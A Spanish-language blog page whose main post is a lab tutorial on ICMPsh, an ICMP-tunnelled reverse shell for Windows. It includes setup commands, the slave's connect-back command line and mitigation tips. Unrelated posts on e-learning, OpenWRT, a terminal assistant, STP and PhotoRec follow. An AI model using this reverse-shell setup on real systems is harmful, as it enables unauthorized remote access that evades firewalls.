Que es ICMPsh? Funcionamiento, detección y mitigacion PASO a PASO. Palabra clave [W1nd0ws_B4ckD00r]

Antes que todo un inmenso saludo, un inmenso HOLA_MUNDO a todos los que se toman el tiempo de leer mis artículos, en verdad espero les sean de utilidad ya que los comparto con todo el animo del mundo, después de las palabras de bienvenida vamos a los que nos toca, explicare paso a paso de forma detallada y sencilla que es y como funciona ICMPsh, asi como la forma de mitigar la vulnerabilidad.

Que es una Shell remota, un backdoor (puerta trasera), una shell de conexión inversa, etc… Pues básicamente vienen a ser lo mismo y la definición mas o menos globalizada es:

Es una conexión remota por lo general no autorizada a un sistema informático o infraestructura de red, dando acceso remoto a dicho sistema.

La verdad no es nada nuevo en el mundo de la seguridad, el concepto sigue siendo el mismo, lo que evoluciona es la forma en la que se consiguen esos accesos, desde el mismo programador de alguna App que troyaniza la misma, hasta un SysAdmin que por razones de comodidad deja una puerta trasera para entrar y reparar cosas de forma remota, en esta entrada quiero presentarles ICMPsh, ya tiene varios años de creada pero la considero uno de los backdoors mas sorprendes por varias razones que mas adelante explicare.

Para explicar el funcionamiento y la forma de mitigar el mismo la entrada estará dividida en dos partes, una sera a modo de explicación de conceptos y otra sera totalmente practica usando un entorno virtualizado.

Vamos por partes…

“Jack el destripador”

Que es ICMP?

ICMP (Internet_Control_Message_Protocol) es un hijo del protocolo TCP/IP y es algo así como el vigilante de la red, ya que se encarga de diagnosticar posibles errores y hace de apoyo a otros protocolos, esta definido en el RFC792 y esta claramente especificada la razón por la que fue creado.

Básicamente este protocolo usa diferentes tipos de mensajes ICMP de acuerdo a la condición o circunstancia que sean requeridas. Para entenderlo de una forma un poco sencilla podríamos decir que un paquete ICMP se encapsula dentro de un paquete IP, la estructura seria algo así:

estructura ICMP

En donde vemos claramente 20 bytes (160 bits) para el encabezo IP donde tenemos como campos importantes la direcciones IP de Origen/Destino, pues dentro de ese paquete a modo de sub protocolo esta el paquete ICMP que puede ser de 8 bytes (64bits) en adelante dependiendo el payload que lleve.

Bien en esta entrega vamos a enfocarnos en el campo “Dirección IP origen”“Dirección IP destino” del encabezado IP y en el campo “Tipo de mensaje” del encabezado ICMP

Si fueron lo suficientemente temerarios y le dieron click al enlace que habla de los tipos de paquetes ICMP habrán notado la cantidad abrumadora de tipos de mensajes que puede llevar un paquete ICMP, pero en esta entrega solo nos fijaremos en los tipos de mensaje 8 (Echo Solicitud de eco) y y tipo de mensaje 0 (Echo reply respuesta de eco)

Para comprender mejor el funcionamiento de ICMP vamos a usarlo y analizar las cabeceras con Wireshark, para estos fines tengo el siguiente laboratorio:

Maquina virtual (Windows 7) [Victima] – 10.0.0.14/24 adaptador de red en modo puente

Maquina física (Debian 8) [Atacante] – 10.0.0.5/24

Hagamos un ping normal a la maquina virtual:

ping10004

Ping a la maquina virtual 10.0.0.4

Muy bien ahora vayámonos al Wireshark y veamos que a capturado el tiburón…

capturaping

Ummm interesante, pero porque si solo fueron 10 intentos de ping tenemos 20 capturas en Wireshark?, pues por cada intento de ping (Echo tipo de mensaje 8) tenemos una respuesta (Echo reply tipo de mensaje 0), lo que según las matemáticas dan 10 solicitudes  + 10 respuestas = 20 capturas, y si analizamos un paquete en detalle veremos lo siguiente:

detallerequest

 

Vemos en el encabezado las direcciones de origen y destino en Type alcanzamos a ver un numero 8 que como hemos dicho corresponde a una solicitud de echo (Echo request), y entonces donde esta la respuesta a esta solicitud? pues solo hay que analizar el siguiente paquete:

detalle reply

y del mismo modo si el encabezado vemos las dirección IP de origen y destino, así como el tipo de mensaje 0 (Echo reply)

Bueno, esta es la forma en que normalmente funciona ICMP, en verdad no quería caer en explicaciones tan complicadas, pero si vamos a comprender algo tenemos que hacerlo bien, ademas el titulo dice PASO a PASO, no esperaran un breve paseo verdad?

Ok entendido, pero de donde sale ICMPsh?

Pues precisamente para mi hackear significa llevar las tecnologías mas allá de las fronteras para las que fueron creadas, empujarlas un poco mas de su propósito, realmente ya existían otras herramientas para establecer conexiones remotas pero era necesario tener privilegios administrativos para su ejecución y aquí es donde llega Leidecker y escribe una genial herramienta llamada ICMPsh que a diferencia de otras no necesitaba tener dichos permisos, haciéndose mas limpia y elegante de utilizar, poco después Bernardo Damele la llevo a Python y Nico la compilo para C y Pearl, a ellos el credito y el respeto de la comunidad por su trabajo.

Como todos los backdoor esta herramienta consta de dos partes, una es el Master que es multiplataforma, es decir podemos hacerlo funcionar en tanto en Windows como en sistemas Unix, y la otra es el Slave que funciona solamente en sistemas Windows, hasta ahora en todas sus versiones, como instalare el Master en mi sistema Debian, clonare el repositorio y lo haré correr desde la terminal con los siguientes comando:

sudo apt-get install python-impacket              #Librería necesaria
git clone https://github.com/inquisb/icmpsh.git   #Clonamos el directorio
cd icmpsh/                                        #Nos movemos al directorio

Una vez nos posicionamos en el directorio tenemos varias formas de lanzar la herramienta, una es ejecutando el script run.sh la cual es mas bonito y todo y sale una interfaz dándote la bienvenida y pidiéndote amablemente la dirección IP de la victima, etc…

runsh

La cual esta muy bonita la verdad pero prefiero tirar un comando por mi cuenta en la terminal, utilizando el verdadero código detrás de la herramienta..

lanzamiento

Esto pone mi maquina a la escucha esperando conexiones entrantes desde la 10.0.0.15, pero como sabrán no entrara ninguna conexión si no conseguimos ejecutar icmpsh.exe en la victima con los parámetros adecuados, así que el como se los dejare a ustedes esto exclusivamente didáctico, así que continuamos. En la maquina victima navegamos hasta el directorio donde tenemos icmpsh (en mi caso lo deje en el Desktop)

navegar y ejecutar

y ejecutamos:

icmpsh.exe -t 10.0.0.14 -d 500 -b 30 -s 128

Donde:

-t es la dirección ip del atacante con la que queremos conectar
-d es el delay en milisegundos entre peticiones                                                                              -b es el numero limite de solicitudes sin responder antes de cerrar la conexión                     -s Es el tamaño máximo de data que podemos enviar en cada petición

Luego de esto solo es esperar la conexión con una taza de café…

conectado

A todo esto hay que aclarar que tengo wireshark detrás monitoreando las interfaces con un filtro icmp para que solo veas esas peticiones, así que para probar que tenemos una shell remota (aunque es obvio la estamos viendo en la terminal) vamos a lanzar un inofensivo “dir” para listar los directorios en la maquina remota:

dir

paquete ICMP con el comando DIR

Recuerdan que mas arriba los paquetes ICMP tipo 0 y 8 llevaban 48 bytes de data? Eso porque el payload normalmente es el abecedario y los números del 0 al 9, pero en este caso solamente vemos 4 byte y se puede ver en el payload el comando que acabo de mandar, este comando genera al conectar con el Slave de icmpsh me devuelve otro paquete que luce así:

respuestay advertencia

Con un payload de 148 bytes y el listado de los directorios y volúmenes en la maquina comprometida, mostrándome en mi pantalla esto:

un simple dir

Y así es como me hago de una shell remota en una maquina con cualquier versión de windows, y quizás muchos se pregunten:

Pero que hay del firewall, y las restricciones administrativas para los usuarios, los antivirus, etc….?

Y la respuesta es:

hltpgs

El asunto es que como el payload viaja por un protocolo que todos los sistemas de proteccion consideran seguro ninguno se preocupa en bloquear la amenaza, no se necesitan privilegios de administrador para ejecutar el slave, si el admin bloquea el uso del cmd igual pueden escribirse un .txt y hacerlo .bat (de hecho en el directorio de la maquina virtual me hice unos cuantos para probar y funcionan sin problemas), entonces viene aqui la gran interrogante…

Como protegerse de icmpsh.

Bien, veamos la captura de cuando solicite la lista de directorios en la maquina comprometida:

respuestay advertencia

Si en el comportamiento normal de un paquete ICMP 8 & 0 el payload suele ser de 48 bytes, podemos crear una alerta en wireshark para cualquier tamaño superior a los 48 bytes llame un script (previamente LUA instalado claro) que genere una alerta….

Un momento pero se puede ajustar el tamaño del buffer de data y lo que haria seria picar el payload en trocitos y pasarlo de poco en poco para que no genere alertas…. Joder…!!! yo contra mi mismo.

Ya en serio, esto podría mitigarse fácilmente creando un ACL que permita los mensajes ICMP desde una sola maquina (la del administrador de la red), en realidad es sencillo defenderse, pero es un ataque que generalmente uno no espera. Otra opción seria instalar algun IDS/IPS como Snort y configurar la detección de payloads para que examine que el payload de ICMP lleve lo que deba llevar.

Gracias por su tiempo en leerme, espero les guste la entrada, por favor compartan y ayúdenme a llegar a mas gente, abajo les dejo los enlaces de interés.

 

Enlaces de interés.

ICMPSH Git

IDS/IPS Snort

Lua Wireshark

 

 

Anuncios

¿Que es el E-learning y como ha evolucionado la forma de aprendizaje? + “Top 5 E-learning Sites”

Pues el dia de hoy les tengo algo asi como un doble articulo, especificamente hablando un poco sobre el e-learning para luego finalizar con los mejores 5 sitios para estudiar a distancia.

No es ninguna novedad para nosotros la forma en la que Internet vino a revolucionar y cambiar nuestras vidas de una forma que jamas antes imaginamos, esto es tan cierto que cosas como la educación que representa un pilar fundamental en el crecimiento y el desarrollo de cualquier sociedad se ha visto alcanzada por esta magnifica revolución, y es aquí donde inicia el e-learning

¿Que es E-learning?

Pues hace algunos años mencionar educación a distancia, cursos por correspondencia y/o similares significaba un serio cuestionamiento en los conocimientos que podían ser adquiridos por esta via, incluso los departamentos de recursos humanos no tomaban estas formas de capacitación como buenas y validas para el desempeño de cargos dentro de la empresa, pero todo eso termino con la llegada y el auge del Internet.

e-learning

A inicios de los 90 ya existían modelos educativos a distancia usando Internet como plataforma, pero las limitantes de la época no ayudaron mucho para su desarrollo y es así como con la explosión de las nuevas tecnologías nos vimos arropados en una esfera mágica donde la información nos llegaba de todas partes del mundo, multimedia, texto, vídeo conferencias, simuladores remotos y un sin numero de herramientas que pusieron el e-learning a un nivel superior del antes alcanzado.

Según wikipedia E-learning es:

Se denomina aprendizaje electrónico (conocido como ‘e-learning ) a la educación a distancia virtualizada a través de canales electrónicos (las nuevas redes de comunicación, en especial Internet), utilizando para ello herramientas o aplicaciones de hipertexto (correo electrónico, páginas web, foros de discusión, mensajería instantánea, plataformas de formación, entre otras) como soporte de los procesos de enseñanza-aprendizaje.

Y es que Internet ha borrado las lineas imaginarias que dividen los países y nos ha brindado la oportunidad d estudiar casi cualquier cosa a distancia, de una forma totalmente única, en cuanto a los precios podría decir que en la gran mayoría son cursos gratuitos ofrecidos por convenios con importantes universidades como: Harvard, Princeton, Yale, la Universidad de Virginia, la Universidad Hebrea de Jerusalén, la Universidad de la Columbia Británica, la Universidad de Londres y Stanford, entre muchas mas. Mientras que en las pocas veces que se necesite pagar casi siempre son sumas módicas.

Y justo como dice el titulo aquí les dejo los mejores 5 sitios para estudiar a distancia, con cientos de cursos gratuitos.

Academia virtual de Microsoft

Portal de EDX

Udemy

OpenCulture

KhanAcademy

Debo aclarar que la gran mayoría del material se encuentra en idioma Ingles, pero ya a estas alturas todos o casi todos tenemos mas o menos el nivel suficiente para tomar estos cursos, esto es todo por ahora mis respetados lectores, hasta una próxima entrega y recuerden:

Si les gusto por favor comparta la información.

Como instalar OpenWRT en VirtualBox

Saludos blogueros y lectores.

En esta ocacion quiero hablarles un poco sobre OpenWRT y sus maravillosas funcionalidades. Quizás mas de uno no haya escuchado mucho sobre esta distribución Linux asi que vamos a darle unas pinceladas.

¿Que es OpenWRT?

Pues según Wikipedia:

Es una distribución de Linux basada en firmware usada para dispositivos empotrables tales como routers

Y ya!!

No es mas complicado que eso, dicho de otra forma es una forma de llevar todo el poder de Linux a nuestro router domestico, quitando así sus posibles limitantes. Es justo mencionar que a pesar de los esfuerzos no todos los dispositivos son soportados, aquí un listado de los dispositivos soportados y como no es tan sencillo conseguir dispositivos para hacer pruebas considero lo mas idoneo tirar de nuestras maquinas virtuales y emular para conseguir practicar todo lo que queramos, así que manos a ello!!

Instalando OpenWRT en una maquina virtual

1.- Pues lo primero que necesitamos es tener instalado algún virtualizador, yo recomiendo VirtualBox de Oracle, asi que vamos a instalarlo..

Si usas windows:

a.- Ve al website oficial y descarga la version segun tu sistema operativo.

Descargar VirtualBox

b.- Ejecuta el instalador y listo (mas o menos asi se instala en windows, si me falta algo pues a Google chicos!!)

Su usas Linux:

a.- Dependiendo de tu distro es muy posible que VirtualBox este disponible desde el mismo gestor de software, así que solo es buscarlo e instalarlo.

b.- Podríamos instalarlo desde la terminal con el siguiente comando:

sudo apt-get install virtualbox-qt

2.- Luego de instalar VirtualBox y estar seguro que funciona correctamente entonces procedemos a descargar una imagen VDI de OpenWRT, la cual podemos conseguir desde este enlace:

Virtual Disk Image de OpenWRT

3.- Después de descargar la imagen VDI entonces procedemos a configurar VirtualBox para agregar nuestra nueva maquina virtual.

a.- Lo primero es abrir VirtualBox (que obvio no?)

No se confundan con las demás maquinas virtuales, eso es parte mis estudios y como sabrán no las iba a eliminar para la captura.

b.- Luego clickeamos en “Nueva”, con los que nos saldrá algo parecido a esto:

Aquí debemos configurar tal y como aparece en la imagen (menos por el nombre, que puede ser el que gusten)

c.- Luego ajustamos la memoria RAM, dependiendo de la cantidad de memoria en sus equipos pueden dejarla tal cual (256MB)

d.- Este punto es muy importante, al momento de seleccionar el disco Duro debemos elegir la opción de “Usar un archivo de disco duro virtual existente” y elegimos la imagen previamente descargada.

e.- Al final necesitaremos conectividad con el mundo exterior con lo que debemos configurar la red de la siguiente forma:

Compartiendo así nuestra conexión activa.

f.- Luego vamos la casilla de puertos seriales y lo configuramos de la siguiente manera:

Y listo!! Al iniciar nuestra maquina virtual el sistema cargara de forma normal y al final quedara una pantalla como esta:

Desde donde podremos comenzar a probar, testear, configurar un sin fin de cosas como:

Un servidor de impresión
Cliente bittorrent
Servidor FTP
Servidor Web
Servidor VPN
Crear VLANs

Entre otras mas. Es muy importante probar la conexión con nuestra puerta de enlace, y debe bastar con hacerle ping a la dirección interna de nuestra puerta de enlace, en mi caso seria:

ping 192.168.1.1

Y se obtiene esto:

Esto es todo por ahora distinguidos blogueros, nos vemos en una próxima entrega, si te ha parecido útil comparte y ayúdame a crecer como blog.

Betty asistente por consola de sistemas Linux.

Si alguna vez has pensado en tener un trió amoroso al mas puro estilo binario aquí esta la oportunidad de lograrlo, solamente tu, la terminal y BETTY.

Pues podríamos decir que Betty es un asistente para la terminal de linux que por medio de ordenes y frases sencillas nos permite interaccionar de forma “mas humana” con nuestro sistema operativo, logrando así una forma divertida y sencilla de hacer algunas cosas.

Funciones de Betty (por ahora):

– Informar quien esta logueado en un sistema.
– Puede informarnos las condiciones meteorológicas de cualquier ciudad en particular.
– Control de reproducción musical para spotfy.
– Preguntarle la hora y la fecha actual
– Bajar ficheros del Internet.
– Traducción de ingles a español.
– Modifica los permisos de un fichero ó de un directorio.
– Extraer archivos.
– Buscar mapas de cualquier parte del mundo (sustentándose en Google Maps)
– Buscar archivos.
– Busqueda en la web.

Entre otras muy divertidas que debemos encontrar por nosotros mismos.

Como instalarla?

1-. Pues para que todo nos quede a la perfección tenemos que tener resueltas algunas dependencias necesarias, las cuales usaremos esto:

sudo apt-get install ruby curl git

Lo cual se vería como esto:

2-. El siguiente paso es descargarnos la ultima versión desde github:

git clone https://github.com/pickhardt/betty

3-. Por ultimo procedemos a crear el alias en nuestro fichero /.bashrc con el siguiente comando:

echo "alias betty=\"~/betty/main.rb\"" >> ~/.bashrc
source ~/.bashrc

Realizado todo esto solo queda comenzar a hablar con nuestra nueva amiga.

A continuación una lista con unos cuantos comandos para ir socializando con betty.

Count
betty how many words are in this directory
betty how many characters are in myfile.py
betty count lines in this folder
(Note that there's many ways to say more or less the same thing.)

Config
betty change your name to Joe
betty speak to me
betty stop speaking to me

Datetime
betty what time is it
betty what is todays date
betty what month is it
betty whats today

Find
betty find me all files that contain california

Internet
betty download http://www.mysite.com/something.tar.gz to something.tar.gz
betty uncompress something.tar.gz
betty unarchive something.tar.gz to somedir
(You can use unzip, unarchive, untar, uncompress, and expand interchangeably.)
betty compress /path/to/dir

iTunes
betty mute itunes
betty unmute itunes
betty pause the music
betty resume itunes
betty stop my music
betty next song
betty prev track
betty what song is playing
(Note that the words song, track, music, etc. are interchangeable)

Fun
betty go crazy
betty whats the meaning of life
...and more that are left for you to discover!

Map
betty show me a map of mountain view

Meta
betty what version are you (or just betty version)
betty whats your github again

Permissions
betty give me permission to this directory
betty give anotheruser ownership of myfile.txt

Process
betty show me all processes by root containing grep
betty show me all my processes containing netbio

Sizes
betty show size for myfile.txt

Spotify
betty play spotify
betty pause spotify
betty next spotify
betty previous spotify

User
betty whats my username
betty whats my real name
betty whats my ip address
betty who else is logged in
betty whats my version of ruby

Web queries
betty turn web on
betty please tell me what is the weather like in London

Desde mi punto de vista este proyecto promete mucho, podríamos estar mirando algo parecido a “Jarvis”.

Saludos y hasta la próxima.

¿Que es STP y para que sirve?

Pues aquí les dejo un humilde aporte que escribí, para seguir alimentando ese monstruo sediento de conocimiento que todos llevamos dentro, en esta ocasión quiero hablarles sobre STP, así que vamos a ello, primero vamos a definir…

¿QUE ES STP?

Pues si hacemos una búsqueda usando simplemente las siglas STP nos llegaran resultados desde todos los confines del mundo, por ejemplo:

  • Sistemas de Transacciones y Pagos.
  • STP marca de aceites y aditivos para carreras (“Scientifically Treated Petroleum”)
  • Incluso una gira magnifica de los Rollings Stones llamada Stones Touring Party

Pero en el ámbitos de redes informáticas todos coincidiremos con que STP significa Spanning Tree Protocol(Protocolo de árbol de expansión) y este se encarga de reconocer y administrar bucles en topologias de redes nacidos a función de la redundancia en la misma.


Tranquilos que todo viene de forma clara…

Vamos a dar algunos matices necesarios para comprender de que va este protocolo:

Bucle: Un bucle en sentido general es un ciclo que se repite indefinidamente hasta que uno de los elementos que lo mantiene desaparezca, en programacion por ejemple existen bucles de que se repiten hasta que una condición se cumpla o deje de cumplirse.

Redundancia: La redundancia tiene que ver con asegurar la alta disponibilidad de los recursos en un sistema informático, ya sea duplicando enlaces, servidores, datos, etc.. En este caso como hablamos de redes informáticas se usara la palabra redundancia para referirnos a enlaces redundantes y dispositivos de conmutación redundantes.

¿Como funciona STP?

Pues es una practica común que en el diseño de la topologia de una red se agreguen enlaces redundantes con el fin de hacer la red tolerable a fallas y de esta forma si falla un enlace la red tiene la capacidad de recuperarse inmediatamente sin que el usuario ni siquiera sienta la falla, por ejemplo:

Topologia de red con bucles.

En la imagen anterior podemos ver como tenemos dos posibles rutas para llegar desde PC1 hasta PC2, estas son:

*PC1–S1–S3–PC2

*PC1–S1–S2–Switch3–S3–PC2

Si es bien es cierto que esta practica nos asegura una alta disponibilidad en la red que administramos también es cierto que tiene un lado negativo y son los bucles de switching, tramas duplicadas y tormentas de difusión que pueden llegar incluso a colgar todo un segmento de red, vamos a tratar de definir que significan estos conceptos.

Bucles de switching.

(Explicación técnica)

Un bucle de switching son bucles físicos en dispositivos de capa 2 donde una trama puede quedar atrapada en la red indefinidamente consumiendo ciclos de CPU y ancho de banda hasta convertirse en una tormenta de difusión.

(Explicación sencilla)
Recuerdan la imagen anterior? Imaginen que esos dispositivos empiezan a enviar tramas duplicadas unos a otros indefinidamente, eventualmente la cantidad de trafico aumentara de forma exponencial y terminara por colapsar.

Tormentas de difusión. (Broadcast Storm)

Es cuando la cantidad de trafico excede la capacidad que tiene la red para procesar y reenviar tramas causando así una denegación de servicio local (primera vez que utilizo este termino, suena bien 8) )

Tramas duplicadas

Pues no hay mucho que explicar, son tramas de difusión que se multiplican en los switches debido a su comportamiento normal.

Aquí es donde los listos preguntan: ¿Por que se duplican las tramas?

Sigue la tanda de aclaraciones..:

Mensaje de difusión (Broadcast Mesagge): es un mensaje que tiene por destino todos los dispositivos de una red, existen protocolos que necesitan de estos mensajes para poder funcionar, por ejemplo ARP (Address Resolution Protocol), DHCP (Dynamic Host Control Protocol), entre otros.

Switch de capa 2: Un switch de capa 2 es un dispositivo de conmutación que no entiende de direcciones IP, tampoco de enrutamiento y que solo se maneja con direcciones físicas de capa 2 (direcciones MAC). Bien, atención que esto es muy importante 😮 :

Si un switch de capa 2 recibe un mensaje de difusión por una de sus interfaces su comportamiento normal es que reenvíe el mismo mensaje por todos sus puertos excepto por donde lo recibió (Aquí es donde sucede el duplicado de tramas) 

Teniendo esto en cuenta imaginen la topologia anterior y piensen en un mensaje broadcast enviado desde PC1 hacia la red, pues como parte de su comportamiento S1 lo reenviara a S2 y S3 y estos posteriormente enviaran una trama duplicada a Switch3 que hará el reenvio de 2 tramas duplicadas a S2 y S1 y voila!!! Comenzó el juego sin final donde el trafico ira aumentando exponencialmente hasta consumir todo el ancho de banda disponible y los ciclos de CPU dejando la red “useless” inservible.

Como evitar que ocurra todo esto…

La respuesta esta en 3 consonantes: STP

¿Cuales son los super-poderes de STP?

Pues este protocolo analiza la topologia y corta los posibles bucles que se puedan presentar creando algo parecido a un árbol (de ahí el nombre) por ejemplo en la siguiente imagen STP se dio cuenta de que existe un bucle en la topologia y bloqueo uno de los puertos en S2 de forma automática.


Para lograr esto todos los switches en una red configurada con STP realizan el siguiente proceso:

1.- Eligen un Puente raiz (Bridge Root) algo asi como el Switch jefe, lo hacen intercambiando BPDU (Bridge Protocols Data Unit) para determinar quien tiene el menor BID (Bridge ID)

2.- Luego de saber quien es el jefe se configuran los puertos en tres posibles tipos
a.- Puerto raiz (Es el puerto por donde se podrá alcanzar el Switch jefe)
b.- Puerto designado (Es un puerto que funcionara de forma normal reenviando tramas y                BPDU)
c.- Puerto bloqueado (Este quedara en modo bloqueado rompiendo así el bucle, mas sin                embargo si falla un enlace STP lo habilitara para que la red pueda seguir funcionando
d.- Puerto perimetral (Este es un puerto que conecta a dispositivos finales y por lo tanto no              necesita correr STP)

3.- Los switch se mantienen enviando pequeñas BPDU cada 2 segundos con paquetes hello temporizados para estar alerta de cualquier cambio en la topologia de la red.

Como configurar STP

Pues por suerte para nosotros STP viene activado por default en la mayoría de los Switches de capa 2, independientemente del fabricante (CISCO, JUNIPER, etc..) por lo que no es necesario tirar de muchos comandos, pero si se nos da el caso de encontrarnos con un entorno conmutado sin STP (Lo cual seria super raro) podríamos hacerlo de la siguiente forma:

Para CISCO

Switch>enable
Switch#configure terminal
Enter configuration commands, one per line.  End with CNTL/Z.
Switch(config)#spanning-tree vlan 1

Para Juniper

user@switch# set stp interface all

Eso es todo por ahora distinguidos lectores.

“Recuperar datos borrados dispositivo almacenamiento”

Pues resulta y viene a ser el caso que en algún momento necesitamos recuperar algo que por error humanos o por fallos de software ha sido borrado de nuestra unidad de almacenamiento (discos duros,CD regrabables y pendrives) o quizas porque nos toque hacerle forensic a algun dispositivo de almacenamiento y para estos fines en la red existe un amplio catalogo de herramientas que cumplen su cometido, pero en esta ocasión trataremos la aplicación PhotoRec.

¿Que es PhotoRec?

PhotoRec es un software diseñado para recuperar archivos perdidos incluyendo vídeos, documentos y archivos de los discos duros y CDRoms así como imágenes perdidas (por eso el nombre PhotoRecovery) de las memorias de las cámaras fotográficas, MP3 players, PenDrives, etc. PhotoRec ignora el sistema de archivos y hace una búsqueda profunda de los datos, funcionando incluso si su sistema de archivos está muy dañado o ha sido re-formateado.

PhotoRec esta disponible en las siguientes plataformas:

DOS/Win9x
Windows NT 4/2000/XP/2003/Vista/7/8
Linux
FreeBSD, NetBSD, OpenBSD
Sun Solaris
Mac OS X

PhotoRec es una aplicación gratuita y Open Source multi-plataforma distribuida bajo Licencia Pública General GNU.

Instalación y uso.

Pues como siempre lo primero es instalarlo:

Si usas windows:

1.- Ve al  Website de la aplicación y seleccionas la opción correcta.
2.-Descargas
3.-Descomprimes con WinRar
4.-Ve a la carpeta resultante y ejecuta PhotoRec.exe

Si usas Linux:

Escribe lo siguiente en una terminal:

sudo apt-get install testdisk

Para ejecutarlo simplemente escribimos lo siguiente en la terminal.

sudo photorec

Lo cual nos mostrara una pequeña interfaz muy sencilla e intuitiva de utilizar, igual a esta:

En esta parte podemos seleccionar la unidad de almacenamiento (discos duros, pendrives, discos regrabables) de donde queremos recuperar los archivos, el movimiento por la pantalla se hace en base a las flechas de nuestro teclado. En la imagen tengo una memoria LG de 8GB conectada al equipo, así que es la que usare en los ejemplos.

Una ves seleccionado el dispositivo le presionamos ENTER y nos mostrara lo siguiente:

Aquí nos pide elegir la partición especifica desde donde queremos recuperar los archivos, en la parte inferior tenemos 4 opciones, que son: Search, Options, File Options y Quit .
Quit.
En serio creen que les explicare lo que pasa si eligen esta?

File Options
Aquí podremos hacer un filtrado de los tipos de archivos que realmente buscamos, marcando y desmarcando con la barra espaciadora.

Al finalizar fijamos los parámetros usando la tecla “B”

Options

Aqui tenemos unas cuantas opciones para mejorar los resultados y el rendimiento.

Search

Despues de los ajustes correspondientes y finalmente le damos a Search, lo cual nos llevara a esto:

Aquí solo nos queda especificar si queremos que busca en toda la particion o simplemente en los espacios vacíos del disco, la cual en mi opinión es la mejor idea si queremos archivos completos y funcionales ya que al buscar en los espacios sobrescritos es mas probable conseguir archivos corruptos e inutilizables.

Por ultimo especificamos el directorio final donde queremos los archivos recuperados, confirmando con la tecla “C”

Eso es todo, personalmente siempre que me toca recuperar algún archivo no me lo pienso dos veces para usar esta increíble herramienta.

Saludos blogueros.